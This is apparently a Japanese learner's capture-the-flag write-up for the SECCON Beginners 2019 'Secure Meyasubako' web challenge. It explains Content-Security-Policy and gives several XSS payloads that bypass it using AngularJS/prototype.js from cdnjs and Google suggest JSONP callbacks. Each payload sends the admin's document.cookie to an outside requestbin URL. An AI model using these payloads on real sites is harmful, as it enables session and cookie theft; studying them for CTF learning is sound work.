【SECCON for Beginners 2019】[web]Secure Meyasubakoから勉強する
Secure Meyasubako
という問題があったのですが、全くよく分からなかったので書きながら勉強したつもりになる記事です。
ちなみに問題は、意見を管理者に送信できるフォームサイトが与えられ、内容をサイト管理者に読ませることができます。
強い皆さんのWrite-up
問題
下のソースが渡される。
const puppeteer = require('puppeteer'); const flag = process.env.FLAG; const browser_option = { executablePath: 'google-chrome-stable', headless: true, args: [ '--no-sandbox', '--disable-background-networking', '--disable-default-apps', '--disable-extensions', '--disable-gpu', '--disable-sync', '--disable-translate', '--hide-scrollbars', '--metrics-recording-only', '--mute-audio', '--no-first-run', '--safebrowsing-disable-auto-update', ], }; const default_cookie = { "domain": current_host, "expirationDate": 1597288045, "hostOnly": false, "httpOnly": false, "name": "flag", "path": "/", "sameSite": "no_restriction", "secure": false, "session": false, "storeId": "0", "value": flag, "id": 1 } <br> これにより、フラグが`cookie`に含まれていること、`Content-Security-Policy`が含まれていなことに目をつける。 /* ... */ const browser = await puppeteer.launch(browser_option); const page = await browser.newPage(); await page.goto(current_host, {waitUntil: 'networkidle2'}); await page.setCookie(default_cookie); await page.goto(url, {waitUntil: 'networkidle2'}); await page.waitFor(3000); await browser.close();
CSPバイパスとは?
Content-Security-Policy
の略だそうで、以下の制限がかかるそうです。
外部のJavaScriptの読み込みは禁止 HTMLソースに記述した<script>...</script>のJavaScriptは禁止 イベント属性(onload="xxxx"など)は禁止 # 引用元:https://blog.eg-secure.co.jp/2013/12/Content-Security-Policy-CSP.html
使い方はこのサイトで確認。js
読み込みを許可するソースを書いていく方式らしい。
CSP Evaluator
なんてものもあるのでこれでチェックできる。
今回
CSPのBypassの手法として、CSP
にCDNが指定されている場合にangularjs
などの古いバージョンを利用してバイパスすることができるらしいです。
なのでフラグのcookie
を所持している管理者にスクリプトを実行させる事で、自サーバにcookie
情報を送ってもらうようにしてやります。
幸いにも今回の問題のフォームは一切エスケープされていないので、攻撃コードをそのまま送信可能です。フォームに以下のコードを入力して送信します。送信先を自サーバに設定したいのですが、持ってないのでRequestsBin
で受け付けます。
<div class=""ng-app ng-csp><base href=//cdnjs.cloudflare.com/ajax/libs/><script src=angular.js/1.0.1/angular.js></script><script src=prototype/1.7.2/prototype.js></script>{{$on.curry.call().console.log($on.curry.call().location=("http://requestbin.fullcontact.com/xxxxxxxx/?"+$on.curry.call().document.cookie))}}</div>
追記
作問者さんからリプがきて、JSONP
を利用して解く方法を教えてもらったので、書いておく。
JSONP
とは
JSON with padding
の略で、クロスサイト環境で他のオリジンから JSON データを取得する方法。Same-Origin Policy
により通常は弾かれてしまうが、<script src="...">
内ではJavaScript を読み込める事を利用し、自分か用意したコールバック関数を呼ばせる事により、取得する。(おそらくここのJavaScript内での読み込み制限をCSP
でかけているはず)
僕は下の2つのサイトを見てなんとなく理解できました。
他の方のWrite-up1
まずこっちの回答ではangularjs
のバージョンは気にしていないと思われる。で、自分でクリックイベント時にlocation.replace
で指定したページに飛ぶようなメソッドを用意しておいて、管理者にこのメソッドをコールバックで呼ばせます。グーグルのページはおそらくSCP
の許可リストにあったはず。callback
クエリはコールバック関数名をパラメータとして渡せるとのこと。なので、先ほど用意したクリックイベントのid
であるp
を指定しているのだと思います。
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.1.3/angular.min.js"></script> <div ng-app ng-csp id=p ng-click=$event.view.location.replace("http://myserver?q="+$event.view.document.cookie)> <script async src=https://www.google.com/complete/search?client=chrome&q=aaaa&callback=p.click></script> #引用元:https://graneed.hatenablog.com/entry/2019/05/26/151534#Secure-Meyasubako
僕はこんな感じに改変してみました。
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.1.3/angular.min.js"></script> <div ng-app ng-csp id=p ng-click=$event.view.location.replace("http://requestbin.fullcontact.com/xxxxxxx/?f="+$event.view.document.cookie)> <script async src=https://www.google.com/complete/search?client=chrome&callback=p.click></script>
ちなみにこのグーグルのページは次のような内容を返します。
p.click && p.click(["",[],[],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:suggesttype":[],"google:verbatimrelevance":851}])
他の方のWrite-up2
こちらは作問者さんにリンクしていただいたリプを参考にしました。
<script src="https://www.google.com/complete/search?client=chrome&jsonp=window.location.replace([`http://requestbin.fullcontact.com/xxxxxxx/`,document.cookie].join())"><script> #参考元:https://twitter.com/kazkiti_ctf/status/1132540259852439553?s=20
jsonp
というクエリに遷移先を直接指定している感じです。スマートでいいですね。ちなみにグーグル自体のレスポンスはこんな感じ。
window.location.replace([`http://requestbin.fullcontact.com/xxxxxxx/`,document.cookie].join())(["",[],[],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:suggesttype":[],"google:verbatimrelevance":851}])
追記の余談
先ほどから使っているgoogle
のページはなんなんだ?てことでググってこのページにたどり着きました。どうやら元々は検索キーワードの候補を取得するAPIのよう。
追記ここまで
おわりに
次きたら絶対解けるようにしておこう